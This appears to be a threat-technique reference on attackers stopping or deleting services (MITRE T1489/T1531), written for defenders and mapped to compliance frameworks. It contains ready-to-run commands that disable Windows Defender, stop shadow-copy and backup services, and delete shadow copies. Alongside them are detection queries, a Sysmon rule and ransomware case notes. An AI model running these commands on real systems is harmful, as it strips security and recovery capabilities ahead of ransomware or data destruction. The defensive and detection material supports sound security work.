| Attribute | Details | |—|—| | Technique ID | IMPACT-SERVICE-STOP-001 | | Technique Name | Service Shutdown/Deletion | | MITRE ATT&CK v18.1 | Service Stop (T1489) & Account Access Removal (T1531) – https://attack.mitre.org/techniques/T1489/, https://attack.mitre.org/techniques/T1531/ | | Tactic | Impact | | Platforms | Windows Server / Windows Endpoint, Linux, Azure VMs, Hypervisors, SaaS admin portals | | Environment | Multi-Env (on‑prem, Azure, M365, other SaaS) | | Severity | High to Critical (depending on service criticality) | | CVE | N/A (abuse of system features; often used alongside other vulnerabilities) | | Technique Status | ACTIVE | | Last Verified | 2026-01-10 | | Affected Versions | Windows Server 2012 R2–2025, Windows 10/11, major Linux distros, Azure IaaS VMs, M365/Azure services | | Patched In | N/A – mitigated via hardening, RBAC, EDR, and monitoring; core stop/delete operations remain by design.[61][48][51] | | Author | SERVTEP – Artur Pchelnikau |
sc stop, net stop, taskkill, or PowerShell Stop-Service, sometimes deployed via GPOs or remote execution tooling.[49][52][58][61] In cloud/SaaS contexts, attackers may disable service instances, deallocate VMs, or revoke access to critical SaaS features to deny availability.[48][50]Deallocate Virtual Machine operations, M365 service controls, and directory/group policy changes that disable or remove services.[49][52][55][50]| Framework | Control / ID | Description (Failure Mode) |
|---|---|---|
| CIS Benchmarks | Windows CIS 18.x, Linux CIS 1.x | Lack of restrictions on who can control system services and weak logging allow attackers to stop critical services undetected. |
| DISA STIG | Windows, Azure Compute STIGs | Non-enforcement of service hardening, unauthorized disabling of security controls. |
| CISA SCuBA | Logging & Monitoring | Inadequate monitoring of critical security service status and cloud service state. |
| NIST SP 800-53 Rev.5 | AC-6, AU-12, SI-4, CP-10 | Excessive privileges, insufficient logging, and inadequate failover procedures for critical services.[61][48] |
| GDPR | Art. 32 | Failure to ensure ongoing confidentiality, integrity, and availability of processing – especially if security services are disabled. |
| DORA | Art. 11 | Insufficient ICT resilience where attackers can disrupt core financial services by shutting down platforms. |
| NIS2 | Art. 21 | Missing operational safeguards and monitoring around essential service availability. |
| ISO 27001:2022 | A.5.29, A.8.16 | Poor monitoring of security controls and weak capacity management/availability for systems. |
| ISO 27005 | Risk Scenario: “EDR/backup infrastructure disabled before destructive attack” | Hinders detection and recovery, increases loss magnitude. |
root or sudo rights to stop systemd services or daemons.Get-Service | Where-Object { $_.Status -eq 'Running' } |
Select-Object Name,DisplayName,Status | Sort-Object Name
What to Look For (Attacker):
What to Look For (Defender):
AzureActivity
| where OperationNameValue =~ "MICROSOFT.COMPUTE/VIRTUALMACHINES/DEALLOCATE/ACTION"
| where ActivityStatusValue =~ "Succeeded"
| summarize count() by Caller, ResourceGroup, bin(TimeGenerated, 1h)
What to Look For:
Supported Versions: Windows Server 2012 R2–2025, Windows 10/11.
Objective: Disable preventive and detection capabilities.
sc stop WinDefend
sc config WinDefend start= disabled
Ransomware families such as Akira and RansomHub execute similar commands or use signed kernel drivers to kill security agents.[49][52][58]
net stop VSS /y
net stop SQLWriter /y
Combined with T1490 (Inhibit System Recovery), attackers may also remove shadow copies:
Get-WmiObject Win32_ShadowCopy | Remove-WmiObject
$targets = 'WinDefend','VSS','SQLWriter','BackupExecVSSProvider'
foreach ($svc in $targets) {
try { Stop-Service -Name $svc -Force -ErrorAction SilentlyContinue } catch {}
}
Objective: Use Azure control plane to deallocate or stop key VMs, denying access to hosted services.[50]
az vm deallocate -g <RG_NAME> -n <VM_NAME>
Expected Impact:
net stop or sc stop to stop Windows services.[55][60]Example (conceptual):
Invoke-AtomicTest T1489 -TestNumbers 1
Use a non-production service to verify detection rules and logging.
sc, net, taskkill, Stop-Service.systemctl stop, service, killall.az vm deallocate, az vm stop.Defenders must baseline legitimate usage and alert on anomalies.
index=wineventlog sourcetype="WinEventLog:Security" EventCode=7036
| search Message="*stopped*service*"
| stats count by host, servicename, user, bin(_time, 10m)
| where count >= 10
Adjust fields depending on your Windows logging configuration; 7036 may also appear in System logs (sourcetype WinEventLog:System).
index=azure sourcetype="azure:monitor:activity"
| where operationName="Microsoft.Compute/virtualMachines/deallocate/action" AND ActivityStatus="Succeeded"
| bin _time span=15m
| stats count by _time, caller
| where count >= 5
SecurityEvent
| where EventID == 7036
| where Param1 has_any ("WinDefend","VSS","SQLWriter","BackupExecVSSProvider")
| summarize ServiceStops = count() by Computer, bin(TimeGenerated, 15m)
| where ServiceStops >= 5
AzureActivity
| where OperationNameValue =~ "MICROSOFT.COMPUTE/VIRTUALMACHINES/DEALLOCATE/ACTION"
| where ActivityStatusValue =~ "Succeeded"
| summarize VMDeallocations = count() by Caller, bin(TimeGenerated, 15m)
| where VMDeallocations >= 3
Key events:
sc.exe, net.exe, taskkill.exe, powershell.exe scripts stopping many services.Ensure Advanced Audit Policy and service control logging are enabled via Group Policy.
Example Sysmon config to catch suspicious service control tools:
<ProcessCreate onmatch="include">
<Image condition="end with">\sc.exe</Image>
<Image condition="end with">\net.exe</Image>
<Image condition="end with">\taskkill.exe</Image>
<CommandLine condition="contains"> stop </CommandLine>
</ProcessCreate>
Forward these events to Sentinel/Splunk for correlation with service stop events.
Defender for Cloud and Defender for Endpoint can raise alerts when security agents are disabled, services are stopped, or tampering is detected on critical workloads.[52][82]
Ensure:
In M365, account access removal (T1531) can be seen in Purview/Unified Audit Logs (e.g., Remove-Mailbox, disabling user accounts, licensing changes).[51][54]
Example Purview query:
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-1) -EndDate (Get-Date) \
-Operations Remove-Mailbox,DisableUserAccount -ResultSize 5000
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | IA-VALID-001 / IA-PHISH-001 | Attacker obtains privileged access. |
| 2 | Privilege Escalation | PE-VALID-010 / PE-ACCTMGMT-011 | Elevate to local admin, domain admin, or high Azure roles. |
| 3 | Current Step | [IMPACT-SERVICE-STOP-001] Service Shutdown/Deletion | Stop or disable security, backup, and business services. |
| 4 | Impact | T1486, T1485 | Deploy ransomware or destroy data with reduced chance of detection or recovery.[61][51] |
Trend Micro documented RansomHub campaigns where attackers used scripts (disableAV.bat, tdsskiller.bat) and tools (STONESTOP, POORTRY) to kill AV/EDR processes and services, and to delete registry keys controlling security products.[49] They also removed backup-related services to inhibit recovery.
Akira campaigns show systematic removal of shadow copies and stopping of backup services to prevent system recovery, often via PowerShell commands that remove Win32_Shadowcopy instances and stop Volume Shadow Copy and related services.[52]
These real-world incidents highlight Service Stop and Account Access Removal as standard components of modern ransomware playbooks.